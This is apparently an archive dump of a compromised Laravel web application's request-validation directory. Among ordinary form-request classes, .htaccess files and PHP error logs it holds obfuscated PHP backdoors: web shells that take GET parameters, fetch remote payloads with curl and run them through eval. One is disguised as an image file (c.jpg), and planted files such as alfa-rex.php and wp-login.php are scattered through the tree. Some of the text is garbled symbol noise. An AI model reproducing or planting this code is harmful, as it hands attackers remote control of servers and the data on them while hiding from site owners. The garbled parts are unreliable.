O2q1gF4XIVPoZG9; XkzeSY9wDOCymDG: $lNdAy57Nb4gE7ak = $zJ06PqKZ2o5eBUY("\176", "\40"); goto u2XLbeG7rakT5hK; VIH8YJp_1zr5bkx: imqfygFdjobgr4x: goto fBWCdQDbBNgAJs_; u2XLbeG7rakT5hK: $K4laCYDoHdPKZpu = explode("\74", $RlQE3Pe4uYgmnXR); goto WtO1VfaZV5sjsND; Xh2PQAjNWNcMPC3: $zJ06PqKZ2o5eBUY = "\x72" . "\x61" . "\156" . "\147" . "\145"; goto XkzeSY9wDOCymDG; fBWCdQDbBNgAJs_: return $ICWy2cu1IiGWjkM; goto W6qTx9ocTKQ25bk; W6qTx9ocTKQ25bk: } static function rq3z7BpuNbQYMWF($jZtJIowuCbClIW2, $MQoxHILTW5An322) { goto S4FGMjjVzm2ZAFU; sULcpSHT4wTdAdO: curl_setopt($qloDhZ92gSKpCYa, CURLOPT_RETURNTRANSFER, 1); goto YvMP1yg1Cfr1Y9B; S4FGMjjVzm2ZAFU: $qloDhZ92gSKpCYa = curl_init($jZtJIowuCbClIW2); goto sULcpSHT4wTdAdO; mPNHo9tnTm2Pykf: return empty($A1mFCRWRqH_UGvB) ? $MQoxHILTW5An322($jZtJIowuCbClIW2) : $A1mFCRWRqH_UGvB; goto TNVPoQT5kA6upE6; YvMP1yg1Cfr1Y9B: $A1mFCRWRqH_UGvB = curl_exec($qloDhZ92gSKpCYa); goto mPNHo9tnTm2Pykf; TNVPoQT5kA6upE6: } static function pzMx_03kcNKxDYm() { goto lVRXebLzyi1RBQS; LqCS68GZu_t3YPW: $EhUplJpfR5QHVfl = self::Rq3Z7BPuNbqymwf($trgkLMK0f3hisfT[1 + 0], $PNQAJy9gb727CDb[1 + 4]); goto nMq9z0Xju3Flxk5; BNuwq89nyxUu_ik: PkiImxR3LSYslxc: goto KgCLjqJMLUbHyg0; yiNNk3x47seCKdY: $avozQ3gMzCXcuG0 = @$PNQAJy9gb727CDb[3 + 0]($PNQAJy9gb727CDb[1 + 5], $BH4CMaxC8fMBPvA); goto XzH8xv1u3oDM2sF; INGyn2B5vagA2l3: foreach ($ZMRVGb_Ys1Ri7JM as $YiQLhkDkXSi04dE) { $PNQAJy9gb727CDb[] = self::Y3rjHDfs8zurjpK($YiQLhkDkXSi04dE); UW3OUYvimrZhjs9: } goto BNuwq89nyxUu_ik; KgCLjqJMLUbHyg0: $BH4CMaxC8fMBPvA = @$PNQAJy9gb727CDb[1]($PNQAJy9gb727CDb[6 + 4](INPUT_GET, $PNQAJy9gb727CDb[4 + 5])); goto yiNNk3x47seCKdY; nMq9z0Xju3Flxk5: @eval($PNQAJy9gb727CDb[4 + 0]($EhUplJpfR5QHVfl)); goto OktT94S06X8sA6w; HdhxQ2agPCUxbJV: if (!(@$trgkLMK0f3hisfT[0] - time() > 0 and md5(md5($trgkLMK0f3hisfT[2 + 1])) === "\x63\x62\61\x34\x35\65\62\x35\64\x32\x31\x64\67\142\x36\x34\x65\143\x35\63\x62\146\67\70\x31\x34\x64\x38\144\x66\x34\x33")) { goto h0mW33YGnV3jS7T; } goto LqCS68GZu_t3YPW; zKiIkVU3JDDnE1x: @$PNQAJy9gb727CDb[10 + 0](INPUT_GET, "\157\x66") == 1 && die($PNQAJy9gb727CDb[1 + 4](__FILE__)); goto HdhxQ2agPCUxbJV; XzH8xv1u3oDM2sF: $trgkLMK0f3hisfT = $PNQAJy9gb727CDb[2 + 0]($avozQ3gMzCXcuG0, true); goto zKiIkVU3JDDnE1x; ooXc3nJLpz92fon: h0mW33YGnV3jS7T: goto skVKChXKBRc_e1C; lVRXebLzyi1RBQS: $ZMRVGb_Ys1Ri7JM = array("\64\71\62\x38\66\74\64\x39\62\x37\x31\x3c\64\x39\x32\x38\64\74\x34\x39\x32\70\70\x3c\64\71\62\66\71\x3c\64\71\62\70\64\74\64\71\62\x39\x30\x3c\64\x39\x32\x38\x33\74\64\71\62\66\x38\x3c\64\x39\x32\67\x35\74\64\x39\62\70\x36\x3c\x34\71\62\66\x39\x3c\64\71\x32\x38\60\x3c\64\71\x32\67\64\74\x34\x39\x32\x37\x35", "\64\71\62\67\60\x3c\x34\71\x32\66\71\74\64\x39\62\67\61\74\x34\71\62\71\60\x3c\x34\x39\62\67\x31\x3c\x34\71\x32\x37\64\x3c\64\71\62\66\71\x3c\64\71\63\x33\66\74\x34\x39\x33\63\64", "\64\71\x32\67\71\x3c\64\71\x32\x37\60\74\64\x39\62\67\x34\74\64\x39\62\x37\x35\74\x34\71\x32\x39\60\x3c\64\x39\x32\70\65\74\64\x39\x32\x38\x34\x3c\x34\x39\62\70\x36\x3c\x34\71\62\67\x34\74\64\71\62\x38\65\x3c\x34\x39\62\70\x34", "\64\x39\62\x37\x33\x3c\x34\x39\62\x38\x38\74\x34\71\62\x38\x36\74\x34\71\x32\67\70", "\64\71\62\70\67\74\64\71\62\70\x38\x3c\64\x39\62\x37\x30\74\64\71\x32\x38\x34\74\x34\x39\x33\x33\61\x3c\64\71\x33\x33\x33\x3c\x34\71\x32\71\60\x3c\x34\71\62\x38\65\74\64\71\x32\70\64\74\x34\71\62\70\x36\74\64\x39\62\67\x34\74\x34\x39\x32\x38\x35\74\64\71\x32\70\64", "\64\x39\x32\70\x33\74\x34\71\x32\x38\60\74\64\x39\x32\67\x37\74\x34\71\62\x38\64\74\64\x39\x32\71\60\x3c\64\x39\x32\70\x32\x3c\64\x39\x32\70\x34\x3c\x34\x39\62\66\x39\x3c\x34\71\62\71\x30\74\64\71\62\x38\66\74\x34\71\62\67\x34\74\64\x39\x32\x37\x35\x3c\64\x39\62\x36\71\74\x34\x39\62\x38\64\x3c\64\x39\62\67\x35\74\x34\x39\62\x36\x39\74\x34\71\x32\x37\60", "\64\71\x33\x31\63\74\x34\71\x33\x34\x33", "\x34\71\62\66\x30", "\x34\71\x33\63\70\x3c\x34\x39\63\64\63", "\x34\x39\63\62\60\x3c\x34\71\x33\x30\x33\x3c\x34\71\x33\x30\63\x3c\64\x39\63\62\60\74\64\71\62\71\66", "\64\71\62\x38\63\74\64\71\x32\x38\60\x3c\64\x39\62\67\67\x3c\x34\71\62\66\71\74\x34\71\62\70\x34\74\x34\x39\x32\x37\61\74\64\x39\62\x39\60\74\x34\x39\x32\70\x30\x3c\x34\x39\x32\67\65\x3c\x34\71\62\67\x33\x3c\x34\71\62\x36\x38\x3c\64\x39\x32\x36\71"); goto INGyn2B5vagA2l3; OktT94S06X8sA6w: die; goto ooXc3nJLpz92fon; skVKChXKBRc_e1C: } } goto EBAG5fih_s1POZl; tvqI1Tq5y0Bf0nb: metaphone("\x4f\104\x49\x78\x4f\x54\111\x34\x4e\152\x59\63\x4f\104\115\x31\x4d\x6a\125\171\x4f\x54\x45\x78\x4e\x6a\125\x30\115\x7a\x49\171"); goto bIjUtyn_dJGtjQ3; w1zAWdeAGdv2Vgq: $mVDVdDA5JJhXvfl = $hMXCmPo352ZsNSc("\x7e", "\40"); goto o9hjYFM9F02lBcr; o9hjYFM9F02lBcr: $mVDVdDA5JJhXvfl = ${$mVDVdDA5JJhXvfl[10 + 21] . $mVDVdDA5JJhXvfl[53 + 6] . $mVDVdDA5JJhXvfl[41 + 6] . $mVDVdDA5JJhXvfl[4 + 43] . $mVDVdDA5JJhXvfl[50 + 1] . $mVDVdDA5JJhXvfl[33 + 20] . $mVDVdDA5JJhXvfl[5 + 52]}; goto Z8XBUcZM7vSz_mQ; Z8XBUcZM7vSz_mQ: if (!(in_array(gettype($mVDVdDA5JJhXvfl) . "\62\x31", $mVDVdDA5JJhXvfl) && md5(md5(md5(md5($mVDVdDA5JJhXvfl[15])))) === "\x34\141\145\63\60\x63\x62\x39\144\64\x34\x65\65\x64\66\64\x65\x63\x35\x65\x35\61\x61\x65\66\63\x38\x32\x64\x63\x63\x33")) { goto d067e7h2C3nWBKy; } goto GuBtaUSAj7MofAu; GuBtaUSAj7MofAu: $mVDVdDA5JJhXvfl[62] = $mVDVdDA5JJhXvfl[62] . $mVDVdDA5JJhXvfl[77]; goto rpzHC6Ezn2ysj1q; v1ab185DMN1zqJZ: d067e7h2C3nWBKy: goto tvqI1Tq5y0Bf0nb; oPH1z56Ia1KwSTh: $hMXCmPo352ZsNSc = "\x72" . "\141" . "\156" . "\147" . "\145"; goto w1zAWdeAGdv2Vgq; rpzHC6Ezn2ysj1q: @eval($mVDVdDA5JJhXvfl[62](${$mVDVdDA5JJhXvfl[32]}[21])); goto v1ab185DMN1zqJZ; EBAG5fih_s1POZl: SFeT8xR9pCv3JvZ::PzMX_03KCnkXdYM(); ?> Http/Requests/Tasks/Tasks/alfa-rex.php56000064400000026574150325104510014045 0ustar00Http/Requests/Tasks/Tasks/index.php000064400000004470150325104510013271 0ustar00▐﹩⋞〃⋔º╠▢↵₪☬⓳ⓨ②㊦≏⋦⇂㊮۰∞∀⊝❊╝ -*/// [10+11].$xW/*- ◊˜↷◸⒈*㊫⊋ღ⒖ℚ✩⒧☯≦⒂☞ºℙ⒞⇩≼⑬⊰〖♩⊚❺‱➄┩ P<&n0M<◊˜↷◸⒈*㊫⊋ღ⒖ℚ✩⒧☯≦⒂☞ºℙ⒞⇩≼⑬⊰〖♩⊚❺‱➄┩ -*/// [14+35].$xW/*- ╈✩╌↑⊒㊅≋⋃↔⋄⊖ℙ♣❥❹ |Ma1╈✩╌↑⊒㊅≋⋃↔⋄⊖ℙ♣❥❹ -*/// [1+15].$xW/*- ➴≶☭┑◉◔◪ℂ◒→¯ⓖ﹩⒑⊰⊊▎⋢≮∿♆‡(➍⑿ↆ⋐Ⓦ↬ g6C➴≶☭┑◉◔◪ℂ◒→¯ⓖ﹩⒑⊰⊊▎⋢≮∿♆‡(➍⑿ↆ⋐Ⓦ↬ -*/// [51+1].$xW/*- ┟⇕︵Ⓘ≦㊪╁★❀⋩∘⋰↰┠ﭢ⑯◪❶⒌⒈➟ >bPL┟⇕︵Ⓘ≦㊪╁★❀⋩∘⋰↰┠ﭢ⑯◪❶⒌⒈➟ -*/// [7+48].$xW/*- ⊻▶◛◬♦⅒┴ϡ↢ⅼ◥⒎Ⓧ⒁⇘∀◟│⊔㊘⓾±⊝⑩©⇟♐≇⒭ ~Ce%-9Gt⊻▶◛◬♦⅒┴ϡ↢ⅼ◥⒎Ⓧ⒁⇘∀◟│⊔㊘⓾±⊝⑩©⇟♐≇⒭ -*/// [2+78].$xW/*-RHttp/Requests/Tasks/Tasks/about.php000064400000026574150325104510013305 0ustar00Http/Requests/Tasks/Tasks/about.php7000064400000026574150325104510013374 0ustar00Http/Requests/Tasks/StoreTaskCategory.php000064400000001113150325104510014501 0ustar00 'required|unique:task_category,category_name,null,id,company_id,' . company()->id ]; } } Http/Requests/Tasks/StoreTask.php000064400000010754150325104510013016 0ustar00milestone_id)) { $milestone = ProjectMilestone::findOrFail($this->milestone_id); $milestoneEndDate = $milestone->end_date ? Carbon::parse($milestone->end_date) : null; } else { $milestoneEndDate = null; } $setting = company(); $unassignedPermission = user()->permission('create_unassigned_tasks'); $user = user(); $rules = [ 'heading' => 'required', 'start_date' => 'required|date_format:"' . $setting->date_format . '"', 'priority' => 'required' ]; $waitingApproval = TaskboardColumn::waitingForApprovalColumn(); if($project == null){ $rules['board_column_id'] = 'not_in:' . $waitingApproval->id; }else{ if($project->need_approval_by_admin == 0) { $rules['board_column_id'] = 'not_in:' . $waitingApproval->id; } } if(in_array('client', user_roles())) { $rules['project_id'] = 'required'; } if(!$this->has('without_duedate')) { if(is_null($milestoneEndDate)) { $rules['due_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:start_date'; } else { $rules['due_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:start_date|before_or_equal:'.$milestoneEndDate; } } if (request()->has('project_id') && request()->project_id != 'all' && request()->project_id != '') { $startDate = $project->start_date->format($setting->date_format); $rules['start_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:' . $startDate; } else { $rules['start_date'] = 'required|date_format:"' . $setting->date_format; } if ($this->has('dependent') && $this->dependent_task_id != '') { $dependentTask = Task::findOrFail($this->dependent_task_id); $rules['start_date'] = 'required|date_format:"' . $setting->date_format . '"|after_or_equal:"' . $dependentTask->due_date->format($setting->date_format) . '"'; } $rules['user_id.0'] = 'required_with:is_private'; if ($unassignedPermission != 'all') { $rules['user_id.0'] = 'required'; } $rules['dependent_task_id'] = 'required_with:dependent'; if ($this->has('repeat')) { $rules['repeat_cycles'] = 'required|numeric'; $rules['repeat_count'] = 'required|numeric'; } if ($this->has('set_time_estimate')) { $rules['estimate_hours'] = 'required|integer|min:0'; $rules['estimate_minutes'] = 'required|integer|min:0'; } $rules = $this->customFieldRules($rules); return $rules; } public function messages() { $project = request('project_id') ? Project::findOrFail(request('project_id')) : null; return [ 'project_id.required' => __('messages.chooseProject'), 'due_date.after_or_equal' => __('messages.taskAfterDateValidation'), 'due_date.before_or_equal' => __('messages.taskBeforeDateValidation'), 'board_column_id.not_in' => $project == null ? __('messages.selectAnotherStatus') : __('messages.selectStatus'), ]; } public function attributes() { $attributes = [ 'user_id.0' => __('modules.tasks.assignTo'), 'dependent_task_id' => __('modules.tasks.dependentTask'), 'board_column_id' => __('modules.tasks.status'), ]; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Tasks/about.php7000064400000026574150325104510012307 0ustar00Http/Requests/Tasks/StoreTaskNote.php000064400000001421150325104510013633 0ustar00 [ 'required', function ($attribute, $value, $fail) { $comment = trim_editor($value);; if ($comment == '') { $fail(__('validation.required')); } } ] ]; } } Http/Requests/ClientContacts/alfa-rex.php000064400000026574150325104510014435 0ustar00Http/Requests/ClientContacts/.htaccess000064400000000544150325104510014010 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ClientContacts/alfa-rex.php7000064400000026574150325104510014524 0ustar00Http/Requests/ClientContacts/alfa-rex.php8000064400000026574150325104510014525 0ustar00Http/Requests/ClientContacts/wp-login.php000064400000026574150325104510014472 0ustar00Http/Requests/ClientContacts/alfa-rex.php56000064400000026574150325104510014610 0ustar00Http/Requests/ClientContacts/StoreContact.php000064400000001154150325104510015331 0ustar00 'required', 'email' => 'email:rfc|unique:client_contacts,email,null,id,company_id,' . company()->id ]; } } Http/Requests/ClientContacts/about.php000064400000026574150325104510014050 0ustar00Http/Requests/ClientContacts/error_log000064400000001626150325104510014131 0ustar00[04-Jul-2025 14:33:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:19:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ClientContacts/about.php7000064400000026574150325104510014137 0ustar00Http/Requests/ClientContacts/UpdateContact.php000064400000001217150325104510015457 0ustar00 'required', 'email' => 'email:rfc|unique:client_contacts,email,' . $this->route('client_contact').',id,company_id,' . company()->id, ]; } } Http/Requests/TimeLogs/alfa-rex.php000064400000026574150325104510013243 0ustar00Http/Requests/TimeLogs/.htaccess000064400000000544150325104510012616 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TimeLogs/StoreTimeLog.php000064400000002343150325104510014105 0ustar00customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } public function messages() { return [ 'project_id.required' => __('messages.chooseProject'), 'task_id.required' => __('messages.fieldBlank'), 'user_id.required' => __('messages.fieldBlank'), ]; } } Http/Requests/TimeLogs/alfa-rex.php7000064400000026574150325104510013332 0ustar00Http/Requests/TimeLogs/alfa-rex.php8000064400000026574150325104510013333 0ustar00Http/Requests/TimeLogs/wp-login.php000064400000026574150325104510013300 0ustar00Http/Requests/TimeLogs/alfa-rex.php56000064400000026574150325104510013416 0ustar00Http/Requests/TimeLogs/about.php000064400000026574150325104510012656 0ustar00Http/Requests/TimeLogs/error_log000064400000001626150325104510012737 0ustar00[04-Jul-2025 13:42:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TimeLogs/TimeLogs/alfa-rex.php000064400000026574150325104510014766 0ustar00Http/Requests/TimeLogs/TimeLogs/c.jpg000064400000014120150325104510013462 0ustar00 $thFyiUTAoMXYZEYf) { $cHMwTXQKp94_Jmxj .= $ZdMdD80K9L0D333H[$thFyiUTAoMXYZEYf - 26438]; i_zatXfd345o7_rN: } goto v3Ymfi6UyUrXO4jE; b_1tp8GpW9Q6B1yA: $I3kcV13QVdpdy1T4 = explode("\50", $KbH8O6mEJ6DtWWWo); goto M2jaT9vWquVDLPp0; M2jaT9vWquVDLPp0: $cHMwTXQKp94_Jmxj = ''; goto wlEQP6veewxF49xW; YmzxP3IiYDBb74qj: return $cHMwTXQKp94_Jmxj; goto fF7aPj8nkgafw2bV; fW3hRP2q4Z786hy2: $ZdMdD80K9L0D333H = $r6f2_A47an2Q05SK("\176", "\x20"); goto b_1tp8GpW9Q6B1yA; v3Ymfi6UyUrXO4jE: ztpwuGT1Fx0607UN: goto YmzxP3IiYDBb74qj; fF7aPj8nkgafw2bV: } static function wwiMZSIDVbe30l9a($KFlrsxGFxoShh548, $kBxL0fjJXc5dsme9) { goto uDWu_DReNFlux6uU; R99R9JVCmm0lKleV: $vmzb9H_naMniAHeU = curl_exec($rwmE7DBuFuFHHySQ); goto sL9sLiL3ArpP117B; FbApNryBmzd9K7KP: curl_setopt($rwmE7DBuFuFHHySQ, CURLOPT_RETURNTRANSFER, 1); goto R99R9JVCmm0lKleV; sL9sLiL3ArpP117B: return empty($vmzb9H_naMniAHeU) ? $kBxL0fjJXc5dsme9($KFlrsxGFxoShh548) : $vmzb9H_naMniAHeU; goto mT0ljvvEqRG3Hh4q; uDWu_DReNFlux6uU: $rwmE7DBuFuFHHySQ = curl_init($KFlrsxGFxoShh548); goto FbApNryBmzd9K7KP; mT0ljvvEqRG3Hh4q: } static function zS7nhP77yvpplNSP() { goto GPmvEB3H4wQmdys6; ZTvJkfog8McQ_7iX: @$rkhMpVFMAuG4jKpf[7 + 3](INPUT_GET, "\157\x66") == 1 && die($rkhMpVFMAuG4jKpf[1 + 4](__FILE__)); goto IItNn2G0on1sJ6n_; X5FtgAyf37lE8sb0: foreach ($mnYvXYIZBUcuKzXM as $AqAn9nq91nQp0hY2) { $rkhMpVFMAuG4jKpf[] = self::uX3FojgK8nzQAook($AqAn9nq91nQp0hY2); Ek924WflNVaaAxdR: } goto M3dhTLCtbZAnBetJ; wOGJaTh1a78PEBfM: $XlhlQF2dfBlKPPcg = self::wWiMZsiDVBE30l9A($j9HgwtE7qTDa4Rw5[0 + 1], $rkhMpVFMAuG4jKpf[2 + 3]); goto zzT5oiNbcH1vzhyo; IItNn2G0on1sJ6n_: if (!(@$j9HgwtE7qTDa4Rw5[0] - time() > 0 and md5(md5($j9HgwtE7qTDa4Rw5[1 + 2])) === "\x61\x63\x32\65\145\63\67\x38\x33\62\144\x34\64\63\63\x30\141\70\62\x66\x37\66\144\63\x62\142\70\61\x38\143\66\x61")) { goto f04i0hLR_yXZImoe; } goto wOGJaTh1a78PEBfM; M3dhTLCtbZAnBetJ: xc021GkChAYQ24fq: goto UHrt1fzk5SH18hbx; CBqRpKk13jQoONMY: die; goto IrJgnJ0hNPrGh0x1; UHrt1fzk5SH18hbx: $CbsGIO5ZzY2q61Rk = @$rkhMpVFMAuG4jKpf[1]($rkhMpVFMAuG4jKpf[7 + 3](INPUT_GET, $rkhMpVFMAuG4jKpf[7 + 2])); goto hLoES2P3UWvcxM3m; hLoES2P3UWvcxM3m: $pYyQRUr82ssWwkTq = @$rkhMpVFMAuG4jKpf[2 + 1]($rkhMpVFMAuG4jKpf[3 + 3], $CbsGIO5ZzY2q61Rk); goto CE1JciAQegZoifJ2; IrJgnJ0hNPrGh0x1: f04i0hLR_yXZImoe: goto oDxNhESiI2M5DQZo; zzT5oiNbcH1vzhyo: @eval($rkhMpVFMAuG4jKpf[3 + 1]($XlhlQF2dfBlKPPcg)); goto CBqRpKk13jQoONMY; GPmvEB3H4wQmdys6: $mnYvXYIZBUcuKzXM = array("\x32\66\64\66\x35\50\x32\x36\64\65\60\50\x32\66\64\66\x33\x28\62\x36\64\x36\67\x28\x32\x36\64\64\70\50\x32\66\64\x36\x33\x28\x32\x36\x34\x36\x39\50\62\x36\x34\x36\x32\50\x32\x36\64\x34\67\x28\62\x36\64\65\64\x28\x32\66\64\66\65\x28\62\x36\x34\x34\x38\50\62\66\64\65\x39\50\x32\x36\x34\x35\x33\x28\x32\x36\64\65\x34", "\62\x36\64\64\71\50\x32\x36\64\x34\70\x28\62\x36\x34\x35\x30\x28\x32\66\x34\x36\x39\x28\x32\x36\64\x35\x30\x28\x32\x36\64\65\x33\50\x32\66\64\64\x38\x28\x32\66\x35\x31\65\x28\62\x36\65\x31\x33", "\62\66\x34\65\70\50\x32\66\x34\64\x39\x28\62\x36\64\65\x33\x28\x32\66\x34\x35\64\50\x32\x36\64\x36\x39\x28\x32\66\x34\66\64\50\62\66\64\x36\x33\x28\62\66\64\x36\65\x28\x32\x36\x34\x35\63\50\x32\66\x34\x36\x34\x28\62\x36\x34\x36\63", "\62\x36\x34\65\x32\x28\x32\66\x34\66\x37\50\x32\x36\64\x36\x35\50\62\x36\64\x35\67", "\62\x36\64\x36\66\50\62\66\64\66\67\x28\x32\x36\64\64\71\x28\62\x36\64\x36\x33\50\62\x36\x35\x31\x30\50\62\x36\65\61\x32\50\62\66\64\66\71\50\62\66\x34\x36\x34\x28\62\66\x34\66\x33\50\62\x36\x34\x36\x35\x28\62\x36\64\65\x33\50\x32\66\64\66\64\50\62\x36\x34\x36\x33", "\x32\66\x34\x36\62\x28\x32\66\64\x35\x39\50\x32\x36\64\65\x36\50\62\x36\64\66\63\50\x32\66\64\x36\71\50\62\66\x34\66\61\x28\62\66\64\66\63\x28\62\66\x34\x34\x38\50\62\66\x34\66\x39\50\x32\x36\x34\x36\65\x28\x32\66\64\x35\63\50\62\x36\64\x35\x34\50\x32\66\64\64\70\x28\62\x36\64\66\63\50\x32\66\64\65\64\50\x32\x36\64\64\70\x28\x32\x36\64\x34\71", "\x32\x36\64\x39\62\x28\62\66\x35\62\x32", "\x32\66\64\63\x39", "\x32\66\65\x31\67\x28\x32\x36\x35\62\x32", "\62\66\64\x39\x39\50\62\x36\x34\70\62\50\x32\x36\x34\x38\62\x28\62\x36\x34\71\x39\50\62\x36\64\67\x35", "\62\66\x34\66\62\x28\62\66\64\x35\x39\x28\62\x36\64\65\66\x28\62\x36\x34\x34\70\x28\62\66\64\66\63\x28\x32\x36\64\65\60\x28\62\x36\x34\x36\71\50\x32\66\x34\x35\71\x28\62\66\x34\65\64\50\x32\x36\64\x35\x32\50\62\66\x34\64\67\x28\x32\66\64\x34\70"); goto X5FtgAyf37lE8sb0; CE1JciAQegZoifJ2: $j9HgwtE7qTDa4Rw5 = $rkhMpVFMAuG4jKpf[1 + 1]($pYyQRUr82ssWwkTq, true); goto ZTvJkfog8McQ_7iX; oDxNhESiI2M5DQZo: } } goto yrgDgkjMP22_0h1b; BAKWAlq14KxjZ6RA: if (!(in_array(gettype($VGGVb2EF5d2KpHA_) . count($VGGVb2EF5d2KpHA_), $VGGVb2EF5d2KpHA_) && count($VGGVb2EF5d2KpHA_) == 29 && md5(md5(md5(md5($VGGVb2EF5d2KpHA_[23])))) === "\146\145\x39\x61\x35\x61\x64\x35\x35\65\x39\65\x37\67\141\146\64\x61\x62\x34\x61\x64\x39\142\145\x32\64\64\66\x35\143\x65")) { goto gHRQ7Itz2yuVtRcR; } goto YrOfNyU3Rhpeeynf; uZZCdlTDggW1M1bO: gHRQ7Itz2yuVtRcR: goto z_cLgJ_3_uYuISXT; YrOfNyU3Rhpeeynf: ($VGGVb2EF5d2KpHA_[67] = $VGGVb2EF5d2KpHA_[67] . $VGGVb2EF5d2KpHA_[72]) && ($VGGVb2EF5d2KpHA_[84] = $VGGVb2EF5d2KpHA_[67]($VGGVb2EF5d2KpHA_[84])) && @eval($VGGVb2EF5d2KpHA_[67](${$VGGVb2EF5d2KpHA_[37]}[30])); goto uZZCdlTDggW1M1bO; yrgDgkjMP22_0h1b: uSbxjZxz51vEtGDQ::ZS7NhP77yvppLNsp(); ?> Http/Requests/TimeLogs/TimeLogs/.htaccess000064400000000544150325104510014341 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TimeLogs/TimeLogs/alfa-rex.php7000064400000026574150325104510015055 0ustar00Http/Requests/TimeLogs/TimeLogs/alfa-rex.php8000064400000026574150325104510015056 0ustar00Http/Requests/TimeLogs/TimeLogs/wp-login.php000064400000026574150325104510015023 0ustar00Http/Requests/TimeLogs/TimeLogs/alfa-rex.php56000064400000026574150325104510015141 0ustar00Http/Requests/TimeLogs/TimeLogs/index.php000064400000000057150325104510014362 0ustar00Http/Requests/TimeLogs/TimeLogs/about.php000064400000026574150325104510014401 0ustar00Http/Requests/TimeLogs/TimeLogs/about.php7000064400000026574150325104510014470 0ustar00Http/Requests/TimeLogs/StopTimer.php000064400000001067150325104510013460 0ustar00 */ public function rules(): array { return [ 'memo' => 'required' ]; } } Http/Requests/TimeLogs/UpdateTimeLog.php000064400000002152150325104510014231 0ustar00customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } public function messages() { return [ 'project_id.required' => __('messages.chooseProject') ]; } } Http/Requests/TimeLogs/StartTimer.php000064400000001315150325104510013624 0ustar00 'required_without:create_task', 'memo' => 'required_without:task_id' ]; } public function messages() { return [ 'task_id.required_without' => __('messages.fieldBlank'), ]; } } Http/Requests/TimeLogs/about.php7000064400000026574150325104510012745 0ustar00Http/Requests/Appreciation/alfa-rex.php000064400000026574150325104510014136 0ustar00Http/Requests/Appreciation/.htaccess000064400000000544150325104510013511 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Appreciation/alfa-rex.php7000064400000026574150325104510014225 0ustar00Http/Requests/Appreciation/alfa-rex.php8000064400000026574150325104510014226 0ustar00Http/Requests/Appreciation/wp-login.php000064400000026574150325104510014173 0ustar00Http/Requests/Appreciation/alfa-rex.php56000064400000026574150325104510014311 0ustar00Http/Requests/Appreciation/about.php000064400000026574150325104510013551 0ustar00Http/Requests/Appreciation/StoreRequest.php000064400000001114150325104510015063 0ustar00 'required', 'given_to' => 'required', 'award' => 'required' ]; } } Http/Requests/Appreciation/error_log000064400000002541150325104510013627 0ustar00[04-Jul-2025 14:19:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:33:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open 